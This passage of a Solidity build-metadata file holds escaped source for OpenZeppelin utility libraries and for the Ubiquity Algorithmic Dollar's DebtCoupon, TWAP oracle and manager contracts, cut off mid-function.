successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/DebtCoupon.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\\\";\\nimport \\\"solidity-linked-list/contracts/StructuredLinkedList.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\n\\n/// @title A coupon redeemable for dollars with an expiry block number\\n/// @notice An ERC1155 where the token ID is the expiry block number\\n/// @dev Implements ERC1155 so receiving contracts must implement IERC1155Receiver\\ncontract DebtCoupon is ERC1155 {\\n using StructuredLinkedList for StructuredLinkedList.List;\\n\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n //not public as if called externally can give inaccurate value. see method\\n uint256 private _totalOutstandingDebt;\\n\\n //represents tokenSupply of each expiry (since 1155 doesnt have this)\\n mapping(uint256 => uint256) private _tokenSupplies;\\n\\n //ordered list of coupon expiries\\n StructuredLinkedList.List private _sortedBlockNumbers;\\n\\n event MintedCoupons(address recipient, uint256 expiryBlock, uint256 amount);\\n\\n event BurnedCoupons(\\n address couponHolder,\\n uint256 expiryBlock,\\n uint256 amount\\n );\\n\\n modifier onlyCouponManager() {\\n require(\\n manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender),\\n \\\"Caller is not a coupon manager\\\"\\n );\\n _;\\n }\\n\\n //@dev URI param is if we want to add an off-chain meta data uri associated with this contract\\n constructor(address _manager) ERC1155(\\\"URI\\\") {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n _totalOutstandingDebt = 0;\\n }\\n\\n /// @notice Mint an amount of coupons expiring at a certain block for a certain recipient\\n /// @param amount amount of tokens to mint\\n /// @param expiryBlockNumber the expiration block number of the coupons to mint\\n function mintCoupons(\\n address recipient,\\n uint256 amount,\\n uint256 expiryBlockNumber\\n ) public onlyCouponManager {\\n _mint(recipient, expiryBlockNumber, amount, \\\"\\\");\\n emit MintedCoupons(recipient, expiryBlockNumber, amount);\\n\\n //insert new relevant block number if it doesnt exist in our list\\n // (linkedlist implementation wont insert if dupe)\\n _sortedBlockNumbers.pushBack(expiryBlockNumber);\\n\\n //update the total supply for that expiry and total outstanding debt\\n _tokenSupplies[expiryBlockNumber] =\\n _tokenSupplies[expiryBlockNumber] +\\n (amount);\\n _totalOutstandingDebt = _totalOutstandingDebt + (amount);\\n }\\n\\n /// @notice Burn an amount of coupons expiring at a certain block from\\n /// a certain holder's balance\\n /// @param couponOwner the owner of those coupons\\n /// @param amount amount of tokens to burn\\n /// @param expiryBlockNumber the expiration block number of the coupons to burn\\n function burnCoupons(\\n address couponOwner,\\n uint256 amount,\\n uint256 expiryBlockNumber\\n ) public onlyCouponManager {\\n require(\\n balanceOf(couponOwner, expiryBlockNumber) >= amount,\\n \\\"Coupon owner not enough coupons\\\"\\n );\\n _burn(couponOwner, expiryBlockNumber, amount);\\n emit BurnedCoupons(couponOwner, expiryBlockNumber, amount);\\n\\n //update the total supply for that expiry and total outstanding debt\\n _tokenSupplies[expiryBlockNumber] =\\n _tokenSupplies[expiryBlockNumber] -\\n (amount);\\n _totalOutstandingDebt = _totalOutstandingDebt - (amount);\\n }\\n\\n /// @notice Should be called prior to any state changing functions.\\n // Updates debt according to current block number\\n function updateTotalDebt() public {\\n bool reachedEndOfExpiredKeys = false;\\n uint256 currentBlockNumber = _sortedBlockNumbers.popFront();\\n\\n //if list is empty, currentBlockNumber will be 0\\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\\n if (currentBlockNumber > block.number) {\\n //put the key back in since we popped, and end loop\\n _sortedBlockNumbers.pushFront(currentBlockNumber);\\n reachedEndOfExpiredKeys = true;\\n } else {\\n //update tally and remove key from blocks and map\\n _totalOutstandingDebt =\\n _totalOutstandingDebt -\\n (_tokenSupplies[currentBlockNumber]);\\n delete _tokenSupplies[currentBlockNumber];\\n _sortedBlockNumbers.remove(currentBlockNumber);\\n }\\n currentBlockNumber = _sortedBlockNumbers.popFront();\\n }\\n }\\n\\n /// @notice Returns outstanding debt by fetching current tally and removing any expired debt\\n function getTotalOutstandingDebt() public view returns (uint256) {\\n uint256 outstandingDebt = _totalOutstandingDebt;\\n bool reachedEndOfExpiredKeys = false;\\n (, uint256 currentBlockNumber) = _sortedBlockNumbers.getNextNode(0);\\n\\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\\n if (currentBlockNumber > block.number) {\\n reachedEndOfExpiredKeys = true;\\n } else {\\n outstandingDebt =\\n outstandingDebt -\\n (_tokenSupplies[currentBlockNumber]);\\n }\\n (, currentBlockNumber) = _sortedBlockNumbers.getNextNode(\\n currentBlockNumber\\n );\\n }\\n\\n return outstandingDebt;\\n }\\n}\\n\",\"keccak256\":\"0xf26a64cbe54ced5ffe6052c0b2ee2505106a1ad28700d4831a16eb3627e8a051\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) 